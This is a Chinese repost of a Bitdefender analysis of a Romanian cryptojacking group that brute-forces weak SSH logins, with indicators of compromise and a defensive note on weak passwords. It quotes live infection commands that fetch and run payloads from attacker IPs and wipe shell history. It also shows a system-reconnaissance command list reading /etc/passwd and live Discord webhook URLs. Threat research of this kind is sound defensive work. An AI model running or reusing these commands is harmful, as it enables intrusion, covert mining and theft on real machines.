Bitdefender跟踪加密劫持挖矿活动的恶意软件

Bitdefender跟踪加密劫持挖矿活动的恶意软件

Bitdefender 安全研究人员发现了一个可能位于罗马尼亚的威胁组织,该组织至少自 2020 年以来一直活跃。他们一直针对基于 Linux 的具有弱 SSH 凭据的机器,主要是为了部署 Monero 挖矿恶意软件,但他们的工具箱允许其他类型的攻击.

黑客攻击弱 SSH 凭据的情况并不少见。安全方面最大的问题是默认用户名和密码,或者黑客可以用暴力破解轻松攻克弱凭据。棘手的部分不一定是强制使用这些凭据,而是以一种让攻击者未被发现的方式执行此操作。

与任何其他威胁组织一样,他们使用的工具和方法可以识别他们。在这种情况下,他们的活动涉及通过使用 shell 脚本编译器 (shc) 编译 Bash 脚本并使用 Discord 报告信息来混淆 Bash 脚本。

除了传统的工具,如masscanzmap,黑客的工具包包括用Golang一个以前未报告爆破的SSH。该工具似乎以即服务模式分发,因为它使用集中式 API 服务器。每个威胁参与者在他们的脚本中提供他们的 API 密钥。与此套件中的大多数其他工具一样,暴力破解工具的界面混合了罗马尼亚语和英语。这使我们相信它的作者是同一个罗马尼亚团体的一部分。

介绍

我们于 2021 年 5 月开始调查该组织,因为他们对.93joshua加载程序进行了加密劫持活动。令人惊讶的是,我们很容易将恶意软件追踪到http://45[.]32[.]112[.]68/.sherifu/.93joshua,一个开放的目录中。事实证明,服务器托管了其他文件。尽管该组织隐藏了许多文件,但将它们包含在其他脚本中却暴露了它们的存在。关联域 mexalz.us 至少自 2021 年 2 月以来就托管了恶意软件。

45[.]32[.]112[.]68的首页:

Bitdefender跟踪加密劫持挖矿活动的恶意软件

mexalz.us 的首页:

Bitdefender跟踪加密劫持挖矿活动的恶意软件

以下树形目录显示了当前或以前托管在 mexalz.us 上的文件的聚合:

mexalz.us
|-- .sherifu/
|   |   .93joshua
|   |   .k4m3l0t
|   |   .purrple
|   |   .zte_error
|   |   find.sh
|   |-- jack.tar.gz
|   |   |-- .jack1992/
|   |   |   |   brute
|   |   |   |   dabrute
|   |   |   |   lists/
|   |   |   |   mass
|   |   |   |   masscan
|   |   |   |   pass
|   |   |   |   ranges_1.lst
|   |   juanito.tar.gz
|   |   |-- .juanito/
|   |   |   |   brute
|   |   |   |   go
|   |   |   |   pass
|   |   |   |   ps2
|   |   |   |   r
|   |   kamelot.tar.gz
|   |   |-- .md/
|   |   |   go
|   |   |   haiduc
|   |   |   pass
|   |   satan.db
|   |   scn.tar.gz
|   |   |-- .md/
|   |   |   go
|   |   |   haiduc
|   |   |   pass
|   |   sefu
|   |   skamelot.tar.gz
|   |   |-- .b87kamelot/
|   |   |   |   99x
|   |   |   |   go
|   |   |   |   p
|   |   |   |   r
|   |   sky
|-- .mini
|   |   .black
|   |   .report_system
|   |   PhoenixMiner.tar
|   |   banner
|   |   ethminer.tar
|   |   masscan

我们将专注于该套件中的原始工具。一些文件值得特别提及,因为它们可能与在野看到的攻击有关。

文件sefu(bash 脚本)和satan.db(gzip 存档)用于传播chernobylDemonbot 变体,该变体托管在不同的服务器上。感染有效载荷遵循以下简单步骤:

cd /tmp cd /run cd /;
wget http://194.33.45.197:8080/chernobyl/chernobyl.sh;
chmod 777 chernobyl.sh;
sh chernobyl.sh chernobyl;
tftp 194.33.45.197 -c get chernobyltftp1.sh;
chmod 777 chernobyltftp1.sh;
sh chernobyltftp1.sh chernobyl;
tftp -r chernobyltftp2.sh -g 194.33.45.197;
chmod 777 chernobyltftp2.sh;
sh chernobyltftp2.sh chernobyl;
rm -rf chernobyl.sh chernobyltftp1.sh chernobyltftp2.sh;
rm -rf *;
history -c

sky是一个常见的 Perl IRC bot,仅针对服务器详细信息和使用的昵称进行定制。它的 C2 服务器在:area17.mexalz.us:6667

Bitdefender跟踪加密劫持挖矿活动的恶意软件

寻找受害者

不乏具有弱 SSH 凭据的被攻破的 Linux 机器。诀窍是找到它们,这是通过扫描完成的。攻击者在服务器上托管几个档案,其中包括jack.tar.gzjuanito.tar.gzscn.tar.gzskamelot.tar.gz

这些包含用于破解具有弱 SSH 凭据的服务器的工具链。我们可以将这个过程分为三个阶段:

  • 侦察:通过端口扫描和横幅抓取来识别 SSH 服务器
  • 凭证访问:通过暴力破解识别有效凭证
  • 初始访问:通过 SSH 连接并执行感染payloads

初始阶段,攻击者使用不同的工具。例如,psmasscan用于侦察,而99xhaiduc(Outlaw 恶意软件)和 `brute` 用于凭证访问和初始访问。

在当前的活动中,攻击者使用`skamelot.tar.gz`,其中包括以下文件:

  • r (SHC 编译脚本)遍历 IP 类并运行 go
  • go(SHC 编译脚本99x)与感染负载一起运行(haiduc)
  • p 是尝试的凭据列表

在 SSH 会话中执行的感染payloads是:

curl -O http://45.32.112.68/.sherifu/.93joshua && chmod 777 .93joshua && ./.93joshua && uname -a

注意:该文件仍然在线,但攻击者重新定位到mexalz.us.

一切从加载程序[loader]开始

在攻击者找到并进入 SSH 凭据不足的 Linux 设备后,他们部署并执行加载程序。在当前的活动中,他们使用.93joshua,但他们还有其他几个可以使用;.purrple.black。所有加载器都通过shc.

加载器收集系统信息并使用 HTTP POST 将其转发给攻击者到 Discord webhook。通过使用 Discord,攻击者无需托管自己的命令和控制服务器,因为 Webhook 是一种以编程方式在 Discord 频道上发布数据的手段。还可以在频道上方便地查看收集到的数据。

由于此功能,Discord 在威胁参与者中越来越受欢迎,因为它自动地为恶意软件分发(使用其 CDN)、命令和控制(网络钩子)或创建以买卖恶意软件源代码和服务为中心的社区(例如DDoS)。

在这一步收集的信息可以让威胁行为者见证他们的工具在感染机器方面的有效性。还可以收集受害者名单以执行潜在的后剥削步骤。

Bitdefender跟踪加密劫持挖矿活动的恶意软件

在其操作的另一个步骤中,加载程序更改shell配置,覆盖.bashrc.bash_profile文件。辅助文件/usr/.SQL-Unix/.SQL/.db,用于存储部分命令,通过内置的源文件执行.bashrc。反过来,此脚本包含覆盖.bashrc.

Bitdefender跟踪加密劫持挖矿活动的恶意软件

使用 bash 别名禁用了几个 shell 命令。这些配置的目的是使 shell 无法对其他操作员进行操作,无论他们是在恶意软件领域竞争,还是他们是系统的合法用户。

攻击者还试图实现持久性,因此加载程序会丢弃一些冗余脚本。它们的名称因加载器版本而异,因此我们将在.93joshua脚本中引用它们:

·.k93用于启动矿工 (.k4m3l0t)
·/usr/bin/sshd是一个systemd启动 .k93的服务脚本
·.5p4rk3l5是一个 crontab 文件,它执行.93joshua.k93

使用了几种持久化方法:

· 创建用户并加入sudo组;使用了各种名称:gh0stxsclipicibosumexalzsherifu
· 添加一个 SSH 密钥到authorized_keys(攻击者根据脚本循环使用三个不同的密钥)
· 创建一个systemd名为的服务myservice来运行/usr/bin/sshd脚本:

Bitdefender跟踪加密劫持挖矿活动的恶意软件

门罗币挖矿

目前所有这些努力都针对门罗币挖矿虽然当前的活动涉及加密劫持,但我们已将这个组织与几个 DDoS 僵尸网络联系起来:一个名为 Demonbot 的变体chernobyl和一个 Perl IRC 僵尸网络。

众所周知,挖掘加密货币既缓慢又乏味,但在使用多个系统时可以更快。拥有多个挖矿系统并不便宜,因此攻击者会尝试下一个最好的方法:远程破坏设备并将其用于挖矿。

在这种情况下,该组织使用自定义编译的二进制文件,其中嵌入了名为XMRig的合法矿工的配置。通常,JSON 配置文件(还包括用户和货币的去向)是外部的。但是在这个编译版本中,配置文件是内嵌的。

Bitdefender跟踪加密劫持挖矿活动的恶意软件
Bitdefender跟踪加密劫持挖矿活动的恶意软件

不幸的是暴力破解仍然有效

人是暴力破解 SSH 凭证仍然有效的简单原因。这个过程需要专用的工具,在这种情况下,它是由团队自己开发的。

这个工具,它的作者被称为“Diicot brute”,包含在jack.tar.gzjuanito.tar.gz压缩包中。

正如二进制文件中的用法字符串所示,它将端口、“API 密钥”、线程数、包含要扫描的 IP 地址列表的文件和超时值(秒)作为命令行参数。

Syntax: ./brute [ Port ] [ Key ] [ Routines ] [ IP File ] [ Timeout ]

该二进制文件是用 Golang 编写的,在单个包中开发,其中包含以下功能:

Bitdefender跟踪加密劫持挖矿活动的恶意软件

虽然 Mexalz 使用的大多数工具都可以单独使用,但“Diicot bruter”旨在在 SaaS(软件即服务)模型上运行。二进制文件与三个服务器通信:

更新服务器(cdn.arhive.online)
API 服务器(requests.arhive.online)
Discord API 服务器

该工具需要一个“API 密钥”,作为命令行参数提供。该密钥在用于检索用户配置的 API 端点中作为参数提供。配置包括用户的 Discord ID、发布工具输出的 Discord webhook 和版本号(大概是用户被许可使用的最新版本)。

dabrutego脚本包含这种类型的钥匙。它们不是随机字符串,而是看起来像用户名并且在两个实例之间有所不同,从而加强了这样一种假设,即该工具包的所有者是属于同一威胁组的不同个人,他们之间共享工具。

Discord 钩子用于报告:

  • 工具执行的开始和结束结果
  • 成功的利用

使用两种类型的钩子:依赖于用户的,使用 API 密钥从 API 服务器检索,以及全局的,这是硬编码的。

全局钩子是:

https://discord.com/api/webhooks/796089316517347369/zRjSflkA7z9C4N9PaPWIJQFLMSKGk5iJNv9T_Z880jhLOpkQ3OEGsbdz4GsX80WwRY0g

https://discord.com/api/webhooks/845977569446068234/ggGoh-5DEpMLtIi0OKNc8z3b3MgxjZaxovL0R0dBiMsP0hnMTIkNx_JoFTLKJtbyRSx

main.remoteRun函数在每个(主机、用户名、密码)组合的专用 goroutine(轻量级线程)中执行。SSH 协议的实现由标准库包提供golang.org/x/crypto/ssh

认证成功后,会在会话中执行以下 bash 命令,目的是收集系统信息:

uname -s -v -n -r -m
uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'
uptime | grep -ohe '[0-9.*] user[s,]'
lscpu | sed -nr '/Model name/ s/.*:\\s*(.*) @ .*/\\1/p'
nproc --all
nvidia-smi -q | grep \"Product Name\"
lspci
cut -d: -f6 /etc/passwd | grep \"/home/\"

值得注意的是,其中一个命令旨在发现 GPU 模型,这对于判断受害者在加密劫持方案中的潜力非常有用。

由于二进制文件中的自动更新功能,我们设法找到它的托管位置并深入了解它的分布方式。更新服务器是使用 Github 页面设置的。

通过遵循重定向链显示存储库:

  • cdn.arhive.online/brute -> developer60-stack.github.io/payload.github.io/cdn/brute

存储库 (github.com/developer60-stack/payload.github.io) 包含:

  • 设置,brute链接zmap端口扫描器的工具的示例用法,横幅抓取器和用于过滤掉不接受密码身份验证的 SSH 服务器的阶段
  • brute,编译工具
  • install, 安装依赖和下载工具的脚本;每个执行阶段后的设置和安装报告都发送到 Discord 挂钩
Bitdefender跟踪加密劫持挖矿活动的恶意软件
Bitdefender跟踪加密劫持挖矿活动的恶意软件

该存储库创建于 2021 年 5 月 1 日,经历了 35 次更新(提交)。

2020 年 11 月,在破解论坛上发布的一则广告显示了该服务的收费价格以及显示其界面的图像拼贴,包括来自 Discord 频道的屏幕截图。

Bitdefender跟踪加密劫持挖矿活动的恶意软件

(审查员不是原件

Bitdefender跟踪加密劫持挖矿活动的恶意软件

(审查员属于原创)

作者声称他们的工具可以过滤掉蜜罐,但这项调查证明它没有,或者至少它无法逃避我们的调查。

我们的蜜罐数据显示,从 2021 年 1 月开始,与该工具的签名匹配的攻击。它们源自的 IP 地址属于一个相对较小的集合,这告诉我们,攻击者尚未使用受感染的系统来传播恶意软件(蠕虫行为)。

通过联系 [email protected],可以免费向执法机构提供有关此威胁行为者的更多信息。

妥协指标/侵害指标

样品:

sha256类型名称目的
d73a1c77783712e67db71cbbaabd8f158bb531d23b74179cda8b8138ba15941eELF.93joshualoader
ed2ae1f0729ef3a26c98b378b5f83e99741b34550fb5f16d60249405a3f0aa33ELF.zte_error挖矿
ef335e12519f17c550bba98be2897d8e700deffdf044e1de5f8c72476c374526ELF.k4m3l0t挖矿
9de853e88ba363b124dfce61bc766f8f42c84340c7bd2f4195808434f4ed81e3ELF.blackloader
eb0f3d25e1023a408f2d1f5a05bf236a00e8602a84f01e9f9f88ff51f04c8c94ELF.purrpleloader
dcc52c4446adba5a61e172b973bca48a45a725a1b21a98dafdf18223ec8eb8b9ELF.report_system挖矿
99531a7c39e3ea9529f5f43234ca5b23cb7bb82ee54f04eff631f5ca9153e6d4ELFgo扫描器
74a425bcb5eb76851279b420c8da5f57a1f0a99a11770182c356ba3160344846ELFgo扫描器
9f691e132f5a2c9468f58aeac9b7aa5df894d1ad54949f87364d1df2bf005414scriptgo扫描器
f53241f60a59ba20d29fab8c973a5b4c05c24865ae033fffb7cdfa799f0ad25dELFr扫描器
275ef26528f36f1af516b0847d90534693d4419db369027b981f77d79f07d357scriptdabrute扫描器
8beccb10b004308cadad7fa86d6f2ff47c92c95fc557bf05188c283df6942c13ELFbrute扫描器
f9ed735b2b8f89f9d8edfc6a8d11a4ee903e153777b33d214c245a02636d7745ELFbrute扫描器
23cf4c34f151c622a5818ade68286999ae4db7364b5d9ed7b8ed035c58116179scriptskyIRC机器人
8dfdbc66ac4a38766ca1cb45f9b50e0f7f91784ad9b6227471469ae5793f6584scriptfind.sh扫描器
f1d4e2d8f63c3b68d56c668aafbf1c82d045814d457c9c83b37115b61c535baaarchivejack.tar.gz
3078662f56861c98f96f8bc8647ffa70522dbc22cbd7ba91b9c80bc667d2a3a9archivejuanito.tar.gz
2a8298047add78360dc3e6d5ac4a38ddb7a67deebc769b1201895afe39b8c0e1archivekamelot.tar.gz
7bfb35caf3f8760868c2985c4ccf749b14deab63ac6effd653871094fed0d5e5archivesatan.db
f6e92eff8887ee28eb56602a3588a3d39ca24a35d9f88fe2551d87dc6ced8913archivescn.tar.gz
8bf108ab897a480c44d56088662e592c088939eeb86cccaac6145de35eb3a024scriptsefu
31a88ff5c0888bcbbbd02c1c18108c884ff02fd93a476e738d22b627e24601c0archiveskamelot.tar.gz
e89b40a6e781ad80d688d1aa4677151805872b50a08aaf8aa64291456e4d476darchivePhoenixMiner.tar
2ef26484ec9e70f9ba9273a9a7333af195fb35d410baf19055eacbfa157ef251ELFbanner扫描器
8970d74d96558b280567acdf147bfe289c431d91a150797aa5e3a8e8d52fb27darchiveethminer.tar
9aa8a11a52b21035ef7badb3f709fa9aa7e757788ad6100b4086f1c6a18c8ab2ELFmasscan扫描器
1275e604a90acc2a0d698dde5e972ff30d4c506eae526c38c5c6aaa6a113f164scriptsetup
977dc6987a12c27878aef5615d2d417b2b518dc2d50d21300bfe1b700071d90escriptinstall
ccda60378a7f3232067e2d7cd0efe132e7a3f7c6a299e64ceba319c1f93a9aa2ELFbrute扫描器

路径:

  • /usr/bin/.locationesclipiciu
  • /var/tmp/.ladyg0g0/.pr1nc35
  • /usr/.SQL-Unix/.SQL/.db
  • /var/tmp/.SQL-Unix/.SQL/.db
  • /usr/bin/.pidsclip

网络指标:

Mexalz.us
area17.mexalz.us
45.32.112.68
207.148.118.221
requests.arhive.online
cdn.arhive.online

ATT攻击矩阵:

Bitdefender跟踪加密劫持挖矿活动的恶意软件

from

[雨苁:这一般性的攻击和APT攻击分析比较起来还是逊色很多.]
[APT: 外科手术般的精度处理指定目标]
[恶意软件: 广撒网,多捞鱼,弱口令一把梭,只要弱口令足够多就能挖矿挣钱]

防御措施:

雨苁:不管是正常运行还是上线测试,均不可使用弱口令,不要为了上线测试时图方便以为只是几分钟的测试设置个弱口令不会被入侵.——前人用血换来的教训抵不过后人的一个侥幸心理.

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注